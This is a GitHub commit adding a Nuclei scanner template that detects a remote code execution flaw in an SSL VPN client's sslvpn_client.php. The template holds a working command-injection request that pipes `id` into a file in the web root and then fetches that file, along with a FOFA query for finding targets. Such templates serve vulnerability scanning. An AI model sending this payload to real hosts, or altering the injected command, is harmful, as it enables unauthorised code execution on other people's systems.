Merge pull request #8789 from projectdiscovery/sslvpn-client-rce

Create sslvpn-client-rce.yaml
patch-1
Ritik Chaddha 2023-12-20 12:51:24 +05:30 committed by GitHub
commit 45a5e091e2
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 39 additions and 0 deletions

View File

@ -0,0 +1,39 @@
id: sslvpn-client-rce
info:
name: SSL VPN Client - Remote Code Execution
author: DhiyaneshDK
severity: critical
reference:
- https://github.com/server2565543706/Poc/blob/master/POC/anquantongsha.py
- https://github.com/Vme18000yuan/FreePOC/blob/master/poc/pocsuite/security_products_rce.py
metadata:
max-request: 1
verified: true
fofa-query: body="/webui/images/default/default/alert_close.jpg"
tags: sslvpn,rce,intrusive
variables:
filename: "{{to_lower(rand_text_alpha(5))}}"
http:
- raw:
- |
GET /sslvpn/sslvpn_client.php?client=logoImg&img=%20/tmp|echo%20%60id%60%20|tee%20/usr/local/webui/sslvpn/{{filename}}.txt HTTP/1.1
Host: {{Hostname}}
- |
GET /sslvpn/{{filename}}.txt HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
part: body_2
regex:
- 'uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)'
- type: word
part: header_2
words:
- 'text/plain'